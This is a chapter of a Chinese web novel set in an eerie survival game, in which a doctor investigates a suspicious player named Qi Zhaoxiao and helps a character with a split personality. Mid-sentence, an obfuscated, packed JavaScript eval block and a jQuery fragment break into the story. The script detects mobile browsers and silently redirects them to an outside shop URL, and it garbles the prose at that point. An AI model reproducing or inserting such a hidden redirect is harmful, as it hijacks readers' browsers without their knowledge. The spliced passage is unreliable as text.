程越将三种身份一口气交代完毕,随即话锋一转,目光落在沈妄渊脸上:“沈医生,那你觉得,这个祁昭珩属于哪一种?”
沈妄渊没有急着回答,而是在心里把那几条线索重新捋了一遍,按照程越给出的框架来比对,祁昭珩的身份并不好直接归类。
他始终在观察沈妄渊是否恢复了记忆,一举一动都带着监视的意味,这一点更偏向巡视者,可他才十九岁,骨子里那股暴虐却压也压不住,像已经浸透了骨血。
而且入岛之前,沈妄渊亲眼见过他身边跟着的保镖,那种专业程度,不是普通人雇得起的。
沈妄渊沉默了一会儿,才开口,语气不算重,却很笃定:“他哪一种都不是。他应该是第三类玩家。”
“第三类玩家?”程越重复了一遍这个陌生的说法,显然一时没反应过来。
沈妄渊侧过眼,目光落在暗处,声音不高不低:“他两种都沾,猎杀者的暴虐和巡视者的监视。”
他顿了一下,像是不经意地拐了个弯,“你之前查过的那些档案里,有没有姓祁的人?”
程越顺着他的话回想了一下,最后还是摇了摇头:“没有印象,你回头问问苏医生吧,她那边记录比我全。”
沈妄渊应了一声,眼看旁边那团诡气已经快要压不住了,江亦冽的焦躁正一层一层地往外渗。
沈妄渊没有多留,对程越说了一句:“我先用瞬移卡走,分头行动更稳妥。”
程越利落地应了一声好,脸上的表情也跟着收了收,补了一句:“苏医生就在这一层,最里面房间,气味没错。”
沈妄渊点了点头:“保护好自己。”
程越拍了拍胸脯,语气里带着一股子理所当然的得意:“放心吧老板,我这身板可比你扛造多了。”
沈妄渊一听这话,脸上没什么表情,心里却已经翻了个白眼。
他侧过眼,语气平得像一潭水:“你再揪着我体力这事不放,我不介意发挥一下我的功能。”
程越吓得一下子捂住了胸口,面具底下那双眼睛瞪得像铜铃。
沈妄渊在他看不见的角度翻了个白眼,然后干脆利落地捏碎瞬移卡,人影已经消失在原地。
程越摸了摸鼻尖,顺手又点开玩家面板,二话不说转了一千积分过去,附言写得很简短“老板,保护好自己。”
这积分他攒了许久,等的就是这样的时刻,让沈妄渊能在处处是坑的诡异世界里走得更稳一些。
沈妄渊看到转账提示的时候,腿不酸了,鼻子也不疼了,连嘴角都不自觉地往上弯了弯,回了程越一个笑脸,然后才心满意足地收了积分。
他捏碎瞬移卡,精准地落进了房间。
屋里比外面看起来更乱,台灯碎了一地,柜子歪倒着,像是刚被人翻过一轮,空荡荡的没有半个人影。
沈妄渊还没收回目光,头顶便传来一丝极轻的动静,他下意识抬头,正对上苏晚柠扑下来的身形,两人堪堪打了个照面。
苏晚柠利落地收起匕首,从天花板翻落下来,脚落地时几乎没带什么声响。
沈妄渊站在几步开外,目光从她落地的动作上掠过,语气里带着一点不掩饰的赞许:“臂力不错。”
苏晚柠拍了拍手上沾的灰,语气随意得像在聊天气:“躲天花板上才不容易被发现。”
沈妄渊的视线在她袖口那道暗色的痕迹上停了一瞬,还没开口问,苏晚柠已经顺着他的目光解释道:“不是我的。”
她把袖子重新放下来,抬眼看向他,“你怎么突然过来了?”
“找你问件事。”沈妄渊的语气如常,可那声称呼却让苏晚柠的动作微微一顿。
她抬眼看向他,隔了两三秒才带着一点试探的意味开口:“沈医生?”语气里有意外,也有些说不清的松动。
沈妄渊没有寒暄,直接切入正题:“现在不是叙旧的时候。医院里有没有后来入院的病人或医生,姓祁的?我遇到一个叫祁昭珩的玩家,身份不简单。”
苏晚柠没有多问,飞快地过了一遍脑中的记录:“有,不过档案上不叫祁昭珩,叫祁昭骁,101号,送进来才一个多月,病历上写的是严重暴力倾向和反社会人格。”
一百零一号,祁昭骁。
这两个信息在沈妄渊脑子里对上了位置。
祁昭骁身上的那股暴虐劲,和苏晚柠描述的几乎如出一辙。
但他又分明带着专业保镖,时刻注意沈妄渊的一举一动,这种特征,不像一个刚入院一个多月的病人该有的。
沈妄渊沉吟片刻,又问了一句:“你见过他家人吗?”
苏晚柠摇了摇头,语气里带着一丝不易察觉的古怪:“是院长亲自带进来的。”
沈妄渊顺着直觉往下推:“他确实是病人,可他又不完全是病人。”
苏晚柠微微皱眉:“这话怎么说?”
沈妄渊的视线没有移开:“他是真的有病,也是真的暴戾,但他到这里来,更像是借着这层身份放纵自己,他和那些真正被困在规则里挣扎的玩家不同,祁昭骁在这里有一种游刃有余的从容。
他转头看向苏晚柠:“盯紧他。”
“我会留意的。”苏晚柠点头,随即补了一句,“这一轮狩生屿,也差不多该结束了。”
苏晚柠的声音沉了下来,像是在叮嘱一件不容出错的事:“我的意思是,要等下一个十五号才能轮到我进来。到时候不一定还带着这几天的记忆。”
她抬眼看向沈妄渊,目光里带着一种郑重其事的分量,“沈医生,你自己多留心。”
沈妄渊应了一声,又问:“外面的事进展如何?”
“你这边我们还是用‘意外’来报的。”
苏晚柠眉心微皱,“但你不能再让他们发现你已经恢复记忆了。五针药剂已经是极限,如果再扛一轮,等你真正清醒的时候,后遗症会比你想象的要重得多。”
沈妄渊点了点头,目光落在苏晚柠脸上,像是要把她的话一字不落地接住:“好。苏晚雪那边情况怎么样?”
苏晚柠的神色肉眼可见地松了松,像是终于放下了什么担子:“放心,我姐那边收尾很干净,不会留尾巴。”
她说完低头看了一眼腕上的表,像是被什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936173|211368||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
催了一下,语气也快了几分,“我得走了,到换班的时间了。”
她没有多做停留,翻身坐上窗台,临跳下去之前回头看了沈妄渊一眼,“季书恒和沈屿接入得太久,光靠正常手段可能拉不回来,我动了些手脚,必要的时候你下次下手重点,反而更容易醒。”
沈妄渊冲她点了点头,那些记忆碎片还没完全归位,可有了这些零散的信息拼在一起,他至少已经摸到了一些底。
一切都在等一个合适的时机。
沈妄渊低头调出手环上的定位,锁定了江亦澈的位置。
苏晚柠说得没错,这轮狩生屿只剩三个小时就要结束了。
而江亦冽这个装满了记忆的活罐子就在手边,沈妄渊心里有底,他完全可以把江亦澈从脑电重置图里拉出来,就像当初对谢枳言那样
他朝着定位的方向赶去,却忽然发现耳侧那只面具猫耳朵正一点一点往下垂,像被什么压住了,耷拉在发丝之间。
他脚步微顿,偏了偏头:“你在难过吗?”
江亦冽的声音从底下飘上来,还是那样温和:“不是难过。”可那温和底下压着的失落,怎么也没藏住。
作为记忆的容器,江亦冽比江亦澈更清楚那些埋在底下的东西。
他像是那场火灾里没能跑出来的那个孩子,也是江亦澈一直攥着不肯松手的那个人格。
一个只存在于诡异世界里的人,在现实中没有位置。
一旦江亦澈清醒过来,他就只能被放回那个再也回不去的角落。
江亦冽沉默了一会儿,才开口,声音比刚才轻了一些:“我不是难过,我只是怕自己会被忘掉。”
沈妄渊没有犹豫,语气笃定:“不会,你妈妈还在外面等你。”
这句话像一块石头沉进了深水里,在江亦冽那层薄薄的壳上敲开了一道缝。
猫耳朵微微晃了一下,像被风拨动了一下,又像是一个人在轻轻摇头。
江亦冽的声音从面具里传出来,平平的,听不出什么波澜:“她等的是江亦澈。”
沈妄渊没有停顿,接得很快,像是在堵住他可能往后退的路:“按照常理来说,你也是江亦澈,她没有嫌弃过你生病,那天她来医院,是想接你出院的。”
这句话像一颗石子投进江亦冽那潭平静的水面里,漾开一层细细的波纹。
面具的猫耳又动了一下,比刚才轻柔许多,贴近沈妄渊的耳侧极轻地碰了一下,像是在说谢谢。
“你不用道谢。”
沈妄渊的目光已经越过林间,锁定了那道提着砍刀的身影,语气平淡地补了一句,“现在,喊他回来。”
江亦冽轻轻应了一声“好”。
话音落下,一团诡气便从他身上分出,悄无声息地蹿了出去,直直缠上了江亦澈的脚踝。
江亦澈正追得起劲,被这一绊整个人结结实实摔了一嘴泥,满口的话正要喷出来,江亦冽已经先一步开口堵了回去:“老公叫你。”
江亦澈趴在地上,撑着泥巴脸,脑子里只剩下三个巨大的问号,像被那两个字砸懵了一样,半天没缓过神来。